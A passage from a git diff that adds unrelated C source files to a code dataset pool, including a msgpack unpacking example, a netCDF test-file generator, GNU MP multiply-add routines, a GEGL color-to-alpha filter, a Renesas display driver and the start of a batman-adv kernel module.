generic_delete_inode, + .put_super = ecryptfs_put_super, + .statfs = ecryptfs_statfs, + .remount_fs = NULL, + .clear_inode = ecryptfs_clear_inode, + .show_options = ecryptfs_show_options +}; diff --git a/pool/shard011/C/0142254_lib_buffer_unpack.c b/pool/shard011/C/0142254_lib_buffer_unpack.c new file mode 100644 index 0000000000000000000000000000000000000000..eb2320fc43184ea25c5ed19498cac79d845a9bab --- /dev/null +++ b/pool/shard011/C/0142254_lib_buffer_unpack.c @@ -0,0 +1,119 @@ +#include +#include +#include + + +typedef struct receiver { + msgpack_sbuffer sbuf; + size_t rest; +} receiver; + +receiver r; + +void receiver_init(receiver *r) { + msgpack_packer pk; + + msgpack_sbuffer_init(&r->sbuf); + msgpack_packer_init(&pk, &r->sbuf, msgpack_sbuffer_write); + /* 1st object */ + msgpack_pack_array(&pk, 3); + msgpack_pack_int(&pk, 1); + msgpack_pack_true(&pk); + msgpack_pack_str(&pk, 7); + msgpack_pack_str_body(&pk, "example", 7); + /* 2nd object */ + msgpack_pack_str(&pk, 6); + msgpack_pack_str_body(&pk, "second", 6); + /* 3rd object */ + msgpack_pack_array(&pk, 2); + msgpack_pack_int(&pk, 42); + msgpack_pack_false(&pk); + r->rest = r->sbuf.size; +} + +size_t receiver_recv(receiver *r, char* buf, size_t try_size) { + size_t off = r->sbuf.size - r->rest; + + size_t actual_size = try_size; + if (actual_size > r->rest) actual_size = r->rest; + + memcpy(buf, r->sbuf.data + off, actual_size); + r->rest -= actual_size; + + return actual_size; +} + +#define EACH_RECV_SIZE 4 + +void unpack(receiver* r) { + /* buf is allocated by unpacker. */ + msgpack_unpacker* unp = msgpack_unpacker_new(100); + msgpack_unpacked result; + msgpack_unpack_return ret; + char* buf; + size_t recv_len; + int recv_count = 0; + + msgpack_unpacked_init(&result); + if (msgpack_unpacker_buffer_capacity(unp) < EACH_RECV_SIZE) { + bool expanded = msgpack_unpacker_reserve_buffer(unp, 100); + assert(expanded); + } + buf = msgpack_unpacker_buffer(unp); + + recv_len = receiver_recv(r, buf, EACH_RECV_SIZE); + msgpack_unpacker_buffer_consumed(unp, recv_len); + + + while (recv_len > 0) { + int i = 0; + printf("receive count: %d %zd bytes received.:\n", recv_count++, recv_len); + ret = msgpack_unpacker_next(unp, &result); + while (ret == MSGPACK_UNPACK_SUCCESS) { + msgpack_object obj = result.data; + + /* Use obj. */ + printf("Object no %d:\n", i++); + msgpack_object_print(stdout, obj); + printf("\n"); + /* If you want to allocate something on the zone, you can use zone. */ + /* msgpack_zone* zone = result.zone; */ + /* The lifetime of the obj and the zone, */ + + ret = msgpack_unpacker_next(unp, &result); + } + if (ret == MSGPACK_UNPACK_PARSE_ERROR) { + printf("The data in the buf is invalid format.\n"); + msgpack_unpacked_destroy(&result); + return; + } + if (msgpack_unpacker_buffer_capacity(unp) < EACH_RECV_SIZE) { + bool expanded = msgpack_unpacker_reserve_buffer(unp, 100); + assert(expanded); + } + buf = msgpack_unpacker_buffer(unp); + recv_len = receiver_recv(r, buf, 4); + msgpack_unpacker_buffer_consumed(unp, recv_len); + } + msgpack_unpacked_destroy(&result); +} + +int main(void) { + receiver r; + receiver_init(&r); + + unpack(&r); + + return 0; +} + +/* Output */ + +/* +Object no 1: +[1, true, "example"] +Object no 2: +"second" +Object no 3: +[42, false] +*/ diff --git a/pool/shard011/C/0142255_GenerateBigFile.c b/pool/shard011/C/0142255_GenerateBigFile.c new file mode 100644 index 0000000000000000000000000000000000000000..4c7ab8982a17c57e5d42b7b9efc7f4ee681ae695 --- /dev/null +++ b/pool/shard011/C/0142255_GenerateBigFile.c @@ -0,0 +1,106 @@ +#include +#include +#include +#include "ncDataReader2.h" +#include "netcdf.h" + +#ifdef _MSC_VER +#define snprintf _snprintf +#endif + +#define RAND01() (rand()/(double)RAND_MAX) + +void handleError(int status) { +if (status != NC_NOERR) { + fprintf(stderr, "%s\n", nc_strerror(status)); + exit(-1); + } +} + + +int numDigits (long n) { + if (n == 0) return 1; + return floor (log10 (abs (n))) + 1; +} + + +void createBigFile(char *fileName, long nVars, long nValues) { + int ncF, ncD, *ncV, ncT; + char c[101], f[101]; + size_t i, j; + int v; + double t, *tBuf, *vBuf; + + printf("Starting: "); fflush(stdout); + + ncV = malloc(nVars*sizeof(long)); + snprintf(f, 100, "big_var_%%0%dd", numDigits(nVars)); + + handleError(nc_create(fileName, NC_CLOBBER | NC_64BIT_OFFSET, &ncF)); + ncSetAttributeText(ncF, NC_GLOBAL, "doc", "big test file for ncdataReader2"); + + nc_redef(ncF); + handleError(nc_def_dim(ncF, "time", nValues, &ncD)); + handleError(nc_def_var(ncF, "time", NC_DOUBLE, 1, &ncD, &ncT)); + ncSetAttributeText(ncF, ncT, NCATT_LOAD_TYPE, NCATT_LT_FULL); + ncSetAttributeLong(ncF, ncT, NCATT_LOOKUP_CACHE, 16); + for (v = 0; v < nVars; v++) { + snprintf(c, 100, f, v); + handleError(nc_def_var(ncF, c, NC_DOUBLE, 1, &ncD, ncV+v)); + ncSetAttributeText(ncF, ncV[v], NCATT_LOAD_TYPE, NCATT_LT_CHUNK); + ncSetAttributeText(ncF, ncV[v], NCATT_INTERPOLATION, NCATT_IP_AKIMA); + ncSetAttributeLong(ncF, ncV[v], NCATT_CHUNK_SIZE, 1024); + ncSetAttributeLong(ncF, ncV[v], NCATT_PARAMETER_CACHE, 16); + } + + handleError(nc_enddef(ncF)); + printf("N"); fflush(stdout); + + tBuf = malloc(nValues*sizeof(double)); + vBuf = malloc(nValues*sizeof(double)); + + if ((tBuf == NULL) || (vBuf == NULL)) { + printf("Out of memory!\n"); + return; + } + + for (i = 0; i < nValues; i ++) + tBuf[i] = 0.01 * (i - 0.5 + 0.4 * RAND01()); + printf("T"); fflush(stdout); + handleError(nc_put_var_double(ncF, ncT, tBuf)); + printf("t"); fflush(stdout); + for (j = 0; j < nVars; j++) { + for (i = 0; i < nValues; i ++) { + t = tBuf[i]; + vBuf[i] = 100 * sin(t/100) + 10 * RAND01()*sin(t/10) + RAND01()*sin(t); + } + printf("V"); fflush(stdout); + handleError(nc_put_var_double(ncF, ncV[j], vBuf)); + printf("v"); fflush(stdout); + } + free(ncV); + free(tBuf); + free(vBuf); + handleError(nc_sync(ncF)); + handleError(nc_close(ncF)); + printf("\n"); +} + +int main(int argc, char *argv[]) { + long nVars=10, nValues=10000000; + char *outFile=NULL; + if (argc > 3) nValues = atol(argv[3]); + if (argc > 2) nVars = atol(argv[2]); + if (argc > 1) + outFile = argv[1]; + else + outFile = "testfilebig.nc"; + printf("Usage: %s [outfile [number_of_variables [number_of_values]]]\n\n", argv[0]); + printf("This generates a file with faked time series\n"); + printf("Total number of values: %ld = (%ld variables + time) * %ld values\n\n", nValues*(nVars+1), nVars, nValues); + printf("Make sure you have enough disk space and some time.\n"); + printf("Enter 'y' to proceed, any other to stop now: "); + if (getchar() == 'y') + createBigFile(outFile, nVars, nValues); + return 0; +} diff --git a/pool/shard011/C/0142256_aorsmul.c b/pool/shard011/C/0142256_aorsmul.c new file mode 100644 index 0000000000000000000000000000000000000000..379b978c8abe65a513687a955c991c9257393812 --- /dev/null +++ b/pool/shard011/C/0142256_aorsmul.c @@ -0,0 +1,156 @@ +/* mpz_addmul, mpz_submul -- add or subtract multiple. + +Copyright 2001, 2004, 2005 Free Software Foundation, Inc. + +This file is part of the GNU MP Library. + +The GNU MP Library is free software; you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation; either version 2.1 of the License, or (at your +option) any later version. + +The GNU MP Library is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY +or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public +License for more details. + +You should have received a copy of the GNU Lesser General Public License +along with the GNU MP Library; see the file COPYING.LIB. If not, write to +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, +MA 02110-1301, USA. */ + +#include "mpir.h" +#include "gmp-impl.h" + + +/* expecting x and y both with non-zero high limbs */ +#define mpn_cmp_twosizes_lt(xp,xsize, yp,ysize) \ + ((xsize) < (ysize) \ + || ((xsize) == (ysize) && mpn_cmp (xp, yp, xsize) < 0)) + + +/* sub>=0 means an addmul w += x*y, sub<0 means a submul w -= x*y. + + The signs of w, x and y are fully accounted for by each flipping "sub". + + The sign of w is retained for the result, unless the absolute value + submul underflows, in which case it flips. */ + +static void __gmpz_aorsmul _PROTO ((REGPARM_3_1 (mpz_ptr w, mpz_srcptr x, mpz_srcptr y, mp_size_t sub))) REGPARM_ATTR (1); +#define mpz_aorsmul(w,x,y,sub) __gmpz_aorsmul (REGPARM_3_1 (w, x, y, sub)) + +REGPARM_ATTR (1) static void +mpz_aorsmul (mpz_ptr w, mpz_srcptr x, mpz_srcptr y, mp_size_t sub) +{ + mp_size_t xsize, ysize, tsize, wsize, wsize_signed; + mp_ptr wp, tp; + mp_limb_t c, high; + TMP_DECL; + + /* w unaffected if x==0 or y==0 */ + xsize = SIZ(x); + ysize = SIZ(y); + if (xsize == 0 || ysize == 0) + return; + + /* make x the bigger of the two */ + if (ABS(ysize) > ABS(xsize)) + { + MPZ_SRCPTR_SWAP (x, y); + MP_SIZE_T_SWAP (xsize, ysize); + } + + sub ^= ysize; + ysize = ABS(ysize); + + /* use mpn_addmul_1/mpn_submul_1 if possible */ + if (ysize == 1) + { + mpz_aorsmul_1 (w, x, PTR(y)[0], sub); + return; + } + + sub ^= xsize; + xsize = ABS(xsize); + + wsize_signed = SIZ(w); + sub ^= wsize_signed; + wsize = ABS(wsize_signed); + + tsize = xsize + ysize; + MPZ_REALLOC (w, MAX (wsize, tsize) + 1); + wp = PTR(w); + + if (wsize_signed == 0) + { + /* Nothing to add to, just set w=x*y. No w==x or w==y overlap here, + since we know x,y!=0 but w==0. */ + high = mpn_mul (wp, PTR(x),xsize, PTR(y),ysize); + tsize -= (high == 0); + SIZ(w) = (sub >= 0 ? tsize : -tsize); + return; + } + + TMP_MARK; + tp = TMP_ALLOC_LIMBS (tsize); + + high = mpn_mul (tp, PTR(x),xsize, PTR(y),ysize); + tsize -= (high == 0); + ASSERT (tp[tsize-1] != 0); + if (sub >= 0) + { + mp_srcptr up = wp; + mp_size_t usize = wsize; + + if (usize < tsize) + { + up = tp; + usize = tsize; + tp = wp; + tsize = wsize; + + wsize = usize; + } + + c = mpn_add (wp, up,usize, tp,tsize); + wp[wsize] = c; + wsize += (c != 0); + } + else + { + mp_srcptr up = wp; + mp_size_t usize = wsize; + + if (mpn_cmp_twosizes_lt (up,usize, tp,tsize)) + { + up = tp; + usize = tsize; + tp = wp; + tsize = wsize; + + wsize = usize; + wsize_signed = -wsize_signed; + } + + ASSERT_NOCARRY (mpn_sub (wp, up,usize, tp,tsize)); + wsize = usize; + MPN_NORMALIZE (wp, wsize); + } + + SIZ(w) = (wsize_signed >= 0 ? wsize : -wsize); + + TMP_FREE; +} + + +void +mpz_addmul (mpz_ptr w, mpz_srcptr u, mpz_srcptr v) +{ + mpz_aorsmul (w, u, v, (mp_size_t) 0); +} + +void +mpz_submul (mpz_ptr w, mpz_srcptr u, mpz_srcptr v) +{ + mpz_aorsmul (w, u, v, (mp_size_t) -1); +} diff --git a/pool/shard011/C/0142257_color-to-alpha.c b/pool/shard011/C/0142257_color-to-alpha.c new file mode 100644 index 0000000000000000000000000000000000000000..d316afb5067e59a093ed2f43aa1dacae4cac1494 --- /dev/null +++ b/pool/shard011/C/0142257_color-to-alpha.c @@ -0,0 +1,170 @@ +/* This file is an image processing operation for GEGL + * + * GEGL is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 3 of the License, or (at your option) any later version. + * + * GEGL is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with GEGL; if not, see . + * + * Color To Alpha plug-in v1.0 by Seth Burgess, sjburges@gimp.org 1999/05/14 + * with algorithm by clahey + * Copyright (C) 1995 Spencer Kimball and Peter Mattis + * Copyright (C) 2011 Robert Sasu + */ + +#include "config.h" +#include + +#ifdef GEGL_CHANT_PROPERTIES + +gegl_chant_color (value, _("Color"), "black", + _("The color to render (defaults to 'black')")) + +#else + +#define GEGL_CHANT_TYPE_FILTER +#define GEGL_CHANT_C_FILE "color-to-alpha.c" + +#include "gegl-chant.h" +#include +#include + +static void prepare (GeglOperation *operation) +{ + gegl_operation_set_format (operation, "input", + babl_format ("RGBA float")); + gegl_operation_set_format (operation, "output", + babl_format ("RGBA float")); +} + +/* + * An excerpt from a discussion on #gimp that sheds some light on the ideas + * behind the algorithm that is being used here. + * + so if a1 > c1, a2 > c2, and a3 > c2 and a1 - c1 > a2-c2, a3-c3, + then a1 = b1 * alpha + c1 * (1-alpha) + So, maximizing alpha without taking b1 above 1 gives + a1 = alpha + c1(1-alpha) and therefore alpha = (a1-c1) / (1-c1). + clahey: btw, the ordering of that a2, a3 in the white->alpha didn't + matter + sjburges: You mean that it could be either a1, a2, a3 or + a1, a3, a2? + yeah + because neither one uses the other + sjburges: That's exactly as it should be. They are both just + getting reduced to the same amount, limited by the the darkest + color. + Then a2 = b2 * alpha + c2 * (1- alpha). Solving for b2 gives + b2 = (a1-c2)/alpha + c2. + yeah + That gives us are formula for if the background is darker than the + foreground? Yep. + Next if a1 < c1, a2 < c2, a3 < c3, and c1-a1 > c2-a2, c3-a3, and + by our desired result a1 = b1 * alpha + c1 * (1-alpha), + we maximize alpha without taking b1 negative gives + alpha = 1 - a1 / c1. + And then again, b2 = (a2-c2) / alpha + c2 by the same formula. + (Actually, I think we can use that formula for all cases, though + it may possibly introduce rounding error. + sjburges: I like the idea of using floats to avoid rounding error. + Good call. +*/ + +static void +color_to_alpha (gfloat *color, + gfloat *src, + gint offset) +{ + gint i; + gfloat temp[4]; + + temp[3] = src[offset + 3]; + + for (i=0; i<3; i++) + { + if (color[i] < 1.e-4f) + temp[i] = src[offset+i]; + else if (src[offset+i] > color[i]) + temp[i] = (src[offset+i] - color[i]) / (1.0f - color[i]); + else if (src[offset+i] < color[i]) + temp[i] = (color[i] - src[offset+i]) / color[i]; + else + temp[i] = 0.0f; + } + + if (temp[0] > temp[1]) + { + if (temp[0] > temp[2]) + src[offset+3] = temp[0]; + else + src[offset+3] = temp[2]; + } + else if (temp[1] > temp[2]) + src[offset+3] = temp[1]; + else + src[offset+3] = temp[2]; + + if (src[offset+3] < 1.e-4f) + return; + + for (i=0; i<3; i++) + src[offset+i] = (src[offset+i] - color[i]) / src[offset+3] + color[i]; + + src[offset+3] *= temp[3]; +} + + + +static gboolean +process (GeglOperation *operation, + GeglBuffer *input, + GeglBuffer *output, + const GeglRectangle *result) +{ + GeglChantO *o = GEGL_CHANT_PROPERTIES (operation); + Babl *format = babl_format ("RGBA float"); + gfloat *src_buf, color[4]; + gint x; + + src_buf = g_new0 (gfloat, result->width * result->height * 4); + + gegl_buffer_get (input, 1.0, result, format, src_buf, GEGL_AUTO_ROWSTRIDE); + + gegl_color_get_rgba4f (o->value, color); + + for (x = 0; x < result->width * result->height; x++) + color_to_alpha (color, src_buf, 4 * x); + + gegl_buffer_set (output, result, format, src_buf, GEGL_AUTO_ROWSTRIDE); + + g_free (src_buf); + + return TRUE; +} + + +static void +gegl_chant_class_init (GeglChantClass *klass) +{ + GeglOperationClass *operation_class; + GeglOperationFilterClass *filter_class; + + operation_class = GEGL_OPERATION_CLASS (klass); + filter_class = GEGL_OPERATION_FILTER_CLASS (klass); + + filter_class->process = process; + operation_class->prepare = prepare; + + operation_class->categories = "color"; + operation_class->name = "gegl:color-to-alpha"; + operation_class->description = _("Performs color-to-alpha on the image."); +} + +#endif diff --git a/pool/shard011/C/0142258_rcar_du_group.c b/pool/shard011/C/0142258_rcar_du_group.c new file mode 100644 index 0000000000000000000000000000000000000000..d539cb290a3518af3ca8561cd0dc735f5f02dd77 --- /dev/null +++ b/pool/shard011/C/0142258_rcar_du_group.c @@ -0,0 +1,269 @@ +/* + * rcar_du_group.c -- R-Car Display Unit Channels Pair + * + * Copyright (C) 2013-2015 Renesas Electronics Corporation + * + * Contact: Laurent Pinchart (laurent.pinchart@ideasonboard.com) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + */ + +/* + * The R8A7779 DU is split in per-CRTC resources (scan-out engine, blending + * unit, timings generator, ...) and device-global resources (start/stop + * control, planes, ...) shared between the two CRTCs. + * + * The R8A7790 introduced a third CRTC with its own set of global resources. + * This would be modeled as two separate DU device instances if it wasn't for + * a handful or resources that are shared between the three CRTCs (mostly + * related to input and output routing). For this reason the R8A7790 DU must be + * modeled as a single device with three CRTCs, two sets of "semi-global" + * resources, and a few device-global resources. + * + * The rcar_du_group object is a driver specific object, without any real + * counterpart in the DU documentation, that models those semi-global resources. + */ + +#include +#include + +#include "rcar_du_drv.h" +#include "rcar_du_group.h" +#include "rcar_du_regs.h" + +u32 rcar_du_group_read(struct rcar_du_group *rgrp, u32 reg) +{ + return rcar_du_read(rgrp->dev, rgrp->mmio_offset + reg); +} + +void rcar_du_group_write(struct rcar_du_group *rgrp, u32 reg, u32 data) +{ + rcar_du_write(rgrp->dev, rgrp->mmio_offset + reg, data); +} + +static void rcar_du_group_setup_pins(struct rcar_du_group *rgrp) +{ + u32 defr6 = DEFR6_CODE; + + if (rgrp->channels_mask & BIT(0)) + defr6 |= DEFR6_ODPM02_DISP; + + if (rgrp->channels_mask & BIT(1)) + defr6 |= DEFR6_ODPM12_DISP; + + rcar_du_group_write(rgrp, DEFR6, defr6); +} + +static void rcar_du_group_setup_defr8(struct rcar_du_group *rgrp) +{ + struct rcar_du_device *rcdu = rgrp->dev; + unsigned int possible_crtcs = + rcdu->info->routes[RCAR_DU_OUTPUT_DPAD0].possible_crtcs; + u32 defr8 = DEFR8_CODE; + + if (rcdu->info->gen < 3) { + defr8 |= DEFR8_DEFE8; + + /* + * On Gen2 the DEFR8 register for the first group also controls + * RGB output routing to DPAD0 and VSPD1 routing to DU0/1/2 for + * DU instances that support it. + */ + if (rgrp->index == 0) { + if (possible_crtcs > 1) + defr8 |= DEFR8_DRGBS_DU(rcdu->dpad0_source); + if (rgrp->dev->vspd1_sink == 2) + defr8 |= DEFR8_VSCS; + } + } else { + /* + * On Gen3 VSPD routing can't be configured, but DPAD routing + * needs to be set despite having a single option available. + */ + unsigned int rgb_crtc = ffs(possible_crtcs) - 1; + struct rcar_du_crtc *crtc = &rcdu->crtcs[rgb_crtc]; + + if (crtc->index / 2 == rgrp->index) + defr8 |= DEFR8_DRGBS_DU(crtc->index); + } + + rcar_du_group_write(rgrp, DEFR8, defr8); +} + +static void rcar_du_group_setup(struct rcar_du_group *rgrp) +{ + struct rcar_du_device *rcdu = rgrp->dev; + + /* Enable extended features */ + rcar_du_group_write(rgrp, DEFR, DEFR_CODE | DEFR_DEFE); + if (rcdu->info->gen < 3) { + rcar_du_group_write(rgrp, DEFR2, DEFR2_CODE | DEFR2_DEFE2G); + rcar_du_group_write(rgrp, DEFR3, DEFR3_CODE | DEFR3_DEFE3); + rcar_du_group_write(rgrp, DEFR4, DEFR4_CODE); + } + rcar_du_group_write(rgrp, DEFR5, DEFR5_CODE | DEFR5_DEFE5); + + rcar_du_group_setup_pins(rgrp); + + if (rcar_du_has(rgrp->dev, RCAR_DU_FEATURE_EXT_CTRL_REGS)) { + rcar_du_group_setup_defr8(rgrp); + + /* + * Configure input dot clock routing. We currently hardcode the + * configuration to routing DOTCLKINn to DUn. Register fields + * depend on the DU generation, but the resulting value is 0 in + * all cases. + * + * On Gen2 a single register in the first group controls dot + * clock selection for all channels, while on Gen3 dot clocks + * are setup through per-group registers, only available when + * the group has two channels. + */ + if ((rcdu->info->gen < 3 && rgrp->index == 0) || + (rcdu->info->gen == 3 && rgrp->num_crtcs > 1)) + rcar_du_group_write(rgrp, DIDSR, DIDSR_CODE); + } + + if (rcdu->info->gen >= 3) + rcar_du_group_write(rgrp, DEFR10, DEFR10_CODE | DEFR10_DEFE10); + + /* + * Use DS1PR and DS2PR to configure planes priorities and connects the + * superposition 0 to DU0 pins. DU1 pins will be configured dynamically. + */ + rcar_du_group_write(rgrp, DORCR, DORCR_PG1D_DS1 | DORCR_DPRS); + + /* Apply planes to CRTCs association. */ + mutex_lock(&rgrp->lock); + rcar_du_group_write(rgrp, DPTSR, (rgrp->dptsr_planes << 16) | + rgrp->dptsr_planes); + mutex_unlock(&rgrp->lock); +} + +/* + * rcar_du_group_get - Acquire a reference to the DU channels group + * + * Acquiring the first reference setups core registers. A reference must be held + * before accessing any hardware registers. + * + * This function must be called with the DRM mode_config lock held. + * + * Return 0 in case of success or a negative error code otherwise. + */ +int rcar_du_group_get(struct rcar_du_group *rgrp) +{ + if (rgrp->use_count) + goto done; + + rcar_du_group_setup(rgrp); + +done: + rgrp->use_count++; + return 0; +} + +/* + * rcar_du_group_put - Release a reference to the DU + * + * This function must be called with the DRM mode_config lock held. + */ +void rcar_du_group_put(struct rcar_du_group *rgrp) +{ + --rgrp->use_count; +} + +static void __rcar_du_group_start_stop(struct rcar_du_group *rgrp, bool start) +{ + rcar_du_group_write(rgrp, DSYSR, + (rcar_du_group_read(rgrp, DSYSR) & ~(DSYSR_DRES | DSYSR_DEN)) | + (start ? DSYSR_DEN : DSYSR_DRES)); +} + +void rcar_du_group_start_stop(struct rcar_du_group *rgrp, bool start) +{ + /* + * Many of the configuration bits are only updated when the display + * reset (DRES) bit in DSYSR is set to 1, disabling *both* CRTCs. Some + * of those bits could be pre-configured, but others (especially the + * bits related to plane assignment to display timing controllers) need + * to be modified at runtime. + * + * Restart the display controller if a start is requested. Sorry for the + * flicker. It should be possible to move most of the "DRES-update" bits + * setup to driver initialization time and minimize the number of cases + * when the display controller will have to be restarted. + */ + if (start) { + if (rgrp->used_crtcs++ != 0) + __rcar_du_group_start_stop(rgrp, false); + __rcar_du_group_start_stop(rgrp, true); + } else { + if (--rgrp->used_crtcs == 0) + __rcar_du_group_start_stop(rgrp, false); + } +} + +void rcar_du_group_restart(struct rcar_du_group *rgrp) +{ + rgrp->need_restart = false; + + __rcar_du_group_start_stop(rgrp, false); + __rcar_du_group_start_stop(rgrp, true); +} + +int rcar_du_set_dpad0_vsp1_routing(struct rcar_du_device *rcdu) +{ + struct rcar_du_group *rgrp; + struct rcar_du_crtc *crtc; + unsigned int index; + int ret; + + if (!rcar_du_has(rcdu, RCAR_DU_FEATURE_EXT_CTRL_REGS)) + return 0; + + /* + * RGB output routing to DPAD0 and VSP1D routing to DU0/1/2 are + * configured in the DEFR8 register of the first group on Gen2 and the + * last group on Gen3. As this function can be called with the DU + * channels of the corresponding CRTCs disabled, we need to enable the + * group clock before accessing the register. + */ + index = rcdu->info->gen < 3 ? 0 : DIV_ROUND_UP(rcdu->num_crtcs, 2) - 1; + rgrp = &rcdu->groups[index]; + crtc = &rcdu->crtcs[index * 2]; + + ret = clk_prepare_enable(crtc->clock); + if (ret < 0) + return ret; + + rcar_du_group_setup_defr8(rgrp); + + clk_disable_unprepare(crtc->clock); + + return 0; +} + +int rcar_du_group_set_routing(struct rcar_du_group *rgrp) +{ + struct rcar_du_crtc *crtc0 = &rgrp->dev->crtcs[rgrp->index * 2]; + u32 dorcr = rcar_du_group_read(rgrp, DORCR); + + dorcr &= ~(DORCR_PG2T | DORCR_DK2S | DORCR_PG2D_MASK); + + /* + * Set the DPAD1 pins sources. Select CRTC 0 if explicitly requested and + * CRTC 1 in all other cases to avoid cloning CRTC 0 to DPAD0 and DPAD1 + * by default. + */ + if (crtc0->outputs & BIT(RCAR_DU_OUTPUT_DPAD1)) + dorcr |= DORCR_PG2D_DS1; + else + dorcr |= DORCR_PG2T | DORCR_DK2S | DORCR_PG2D_DS2; + + rcar_du_group_write(rgrp, DORCR, dorcr); + + return rcar_du_set_dpad0_vsp1_routing(rgrp->dev); +} diff --git a/pool/shard011/C/0142259_my_put_nbr.c b/pool/shard011/C/0142259_my_put_nbr.c new file mode 100644 index 0000000000000000000000000000000000000000..493fe2a5ea6b8d3e0168abd93538d970413ad80b --- /dev/null +++ b/pool/shard011/C/0142259_my_put_nbr.c @@ -0,0 +1,33 @@ +/* +** my_put_nbr.c for my_put_nbr in /home/darkyz/2_Jour05/master_repo +** +** Made by DarkyZ +** +** Started on Wed Sep 28 23:28:20 2016 +** Last update Thu Sep 29 06:21:37 2016 +*/ + +#include "common.h" + +void my_put_nbr(int n) +{ + char tmp; + long long_n; + + long_n = n; + if (long_n < 0) + { + my_putchar('-'); + long_n *= -1; + } + if (long_n >= 10) + { + tmp = (long_n % 10); + long_n = (long_n - tmp) / 10; + my_put_nbr(long_n); + my_putchar(tmp + '0'); + } + else + my_putchar(long_n + '0'); +} + diff --git a/pool/shard011/C/0142260_main.c b/pool/shard011/C/0142260_main.c new file mode 100644 index 0000000000000000000000000000000000000000..c00f3bc688c71d9067bc8c1074dcfcff0a08f2dc --- /dev/null +++ b/pool/shard011/C/0142260_main.c @@ -0,0 +1,277 @@ + + +#include "main.h" +#include "bat_sysfs.h" +#include "routing.h" +#include "send.h" +#include "originator.h" +#include "soft-interface.h" +#include "device.h" +#include "translation-table.h" +#include "hard-interface.h" +#include "types.h" +#include "vis.h" +#include "hash.h" + +struct list_head if_list; +struct hlist_head forw_bat_list; +struct hlist_head forw_bcast_list; +struct hashtable_t *orig_hash; + +DEFINE_SPINLOCK(orig_hash_lock); +DEFINE_SPINLOCK(forw_bat_list_lock); +DEFINE_SPINLOCK(forw_bcast_list_lock); + +atomic_t vis_interval; +atomic_t bcast_queue_left; +atomic_t batman_queue_left; + +int16_t num_hna; + +struct net_device *soft_device; + +unsigned char broadcastAddr[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; +atomic_t module_state; + +static struct packet_type batman_adv_packet_type __read_mostly = { + .type = __constant_htons(ETH_P_BATMAN), + .func = batman_skb_recv, +}; + +struct workqueue_struct *bat_event_workqueue; + +#ifdef CONFIG_BATMAN_ADV_DEBUG +int debug; + +module_param(debug, int, 0644); + +int bat_debug_type(int type) +{ + return debug & type; +} +#endif + +int init_module(void) +{ + int retval; + + INIT_LIST_HEAD(&if_list); + INIT_HLIST_HEAD(&forw_bat_list); + INIT_HLIST_HEAD(&forw_bcast_list); + + atomic_set(&module_state, MODULE_INACTIVE); + + atomic_set(&vis_interval, 1000);/* TODO: raise this later, this is only + * for debugging now. */ + atomic_set(&bcast_queue_left, BCAST_QUEUE_LEN); + atomic_set(&batman_queue_left, BATMAN_QUEUE_LEN); + + /* the name should not be longer than 10 chars - see + * http://lwn.net/Articles/23634/ */ + bat_event_workqueue = create_singlethread_workqueue("bat_events"); + + if (!bat_event_workqueue) + return -ENOMEM; + + bat_device_init(); + + /* initialize layer 2 interface */ + soft_device = alloc_netdev(sizeof(struct bat_priv) , "bat%d", + interface_setup); + + if (!soft_device) { + printk(KERN_ERR "batman-adv:" + "Unable to allocate the batman interface\n"); + goto end; + } + + retval = register_netdev(soft_device); + + if (retval < 0) { + printk(KERN_ERR "batman-adv:" + "Unable to register the batman interface: %i\n", retval); + goto free_soft_device; + } + + retval = sysfs_add_meshif(soft_device); + + if (retval < 0) + goto unreg_soft_device; + + register_netdevice_notifier(&hard_if_notifier); + dev_add_pack(&batman_adv_packet_type); + + printk(KERN_INFO "batman-adv:" + "B.A.T.M.A.N. advanced %s%s (compatibility version %i) loaded\n", + SOURCE_VERSION, REVISION_VERSION_STR, COMPAT_VERSION); + + return 0; + +unreg_soft_device: + unregister_netdev(soft_device); + soft_device = NULL; + return -ENOMEM; + +free_soft_device: + free_netdev(soft_device); + soft_device = NULL; +end: + return -ENOMEM; +} + +void cleanup_module(void) +{ + deactivate_module(); + + unregister_netdevice_notifier(&hard_if_notifier); + hardif_remove_interfaces(); + + if (soft_device) { + sysfs_del_meshif(soft_device); + unregister_netdev(soft_device); + soft_device = NULL; + } + + dev_remove_pack(&batman_adv_packet_type); + + destroy_workqueue(bat_event_workqueue); + bat_event_workqueue = NULL; +} + +/* activates the module, creates bat device, starts timer ... */ +void activate_module(void) +{ + if (originator_init() < 1) + goto err; + + if (hna_local_init() < 1) + goto err; + + if (hna_global_init() < 1) + goto err; + + hna_local_add(soft_device->dev_addr); + + if (bat_device_setup() < 1) + goto end; + + if (vis_init() < 1) + goto err; + + update_min_mtu(); + atomic_set(&module_state, MODULE_ACTIVE); + goto end; + +err: + printk(KERN_ERR "batman-adv:" + "Unable to allocate memory for mesh information structures: " + "out of mem ?\n"); + deactivate_module(); +end: + return; +} + +/* shuts down the whole module.*/ +void deactivate_module(void) +{ + atomic_set(&module_state, MODULE_DEACTIVATING); + + purge_outstanding_packets(NULL); + flush_workqueue(bat_event_workqueue); + + vis_quit(); + + /* TODO: unregister BATMAN pack */ + + originator_free(); + + hna_local_free(); + hna_global_free(); + + synchronize_net(); + bat_device_destroy(); + + synchronize_rcu(); + atomic_set(&module_state, MODULE_INACTIVE); +} + +void inc_module_count(void) +{ + try_module_get(THIS_MODULE); +} + +void dec_module_count(void) +{ + module_put(THIS_MODULE); +} + +int addr_to_string(char *buff, uint8_t *addr) +{ + return sprintf(buff, MAC_FMT, + addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); +} + +/* returns 1 if they are the same originator */ + +int compare_orig(void *data1, void *data2) +{ + return (memcmp(data1, data2, ETH_ALEN) == 0 ? 1 : 0); +} + +/* hashfunction to choose an entry in a hash table of given size */ +/* hash algorithm from http://en.wikipedia.org/wiki/Hash_table */ +int choose_orig(void *data, int32_t 